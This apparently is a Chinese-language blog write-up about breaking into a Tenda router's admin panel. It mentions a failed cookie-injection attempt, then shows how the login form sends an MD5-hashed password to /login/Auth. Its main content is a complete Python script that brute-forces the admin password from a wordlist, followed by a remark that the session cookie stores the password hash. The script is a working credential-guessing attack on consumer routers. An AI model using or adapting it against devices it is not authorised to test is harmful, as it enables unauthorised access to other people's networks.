已有漏洞尝试
- 先尝试乌云上 Tenda 的 cookie 注入漏洞,这个网上满天飞,基本没报什么希望,果然没用
暴力破解
- 登录页尝试登录并抓包,发现请求
http://192.168.0.1/login/Auth
,FORM 表单参数 username
和 password
,如下,响应只有一个 1
21232f297a57a5a743894a0e4a801fc3
明显的 MD5 HASH,拿去彩虹表,自己测试的密码用的是 admin
,比对一致,确定密码前台加密方式是 MD5
- 请求方式以及参数还有错误响应都知道了,写脚本暴力破解即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
r""" POST 请求暴力破解管理员密码 """
import hashlib
import requests
def md5(source):
r""" MD5 计算并返回 16 进制的字符串 """
method = hashlib.md5()
method.update(source.encode("UTF-8"))
return method.hexdigest()
def yield_password():
r""" 读取常用密码文件 """
with open("./password.txt", "r") as file:
for line in file.readlines():
yield line.strip()
if __name__ == '__main__':
url = "http://192.168.0.1/login/Auth"
param = {"username": "admin", "password": ""}
failed_resp = b'1'
count = 0
for password in yield_password():
param["password"] = md5(password)
resp = requests.post(url, param)
if failed_resp != resp.content:
print("Success hack: %s" % password)
break
else:
count += 1
print("Count: %s, password: %s" % (count, password))
- 下面就是看运气了,不过还好,爆破成功
后续
- 爆破成功后登录后台管理界面,查看现在的登录管理方式,改成 password 这个 cookie 了,值是密码的 MD5 HASH,真的安全吗?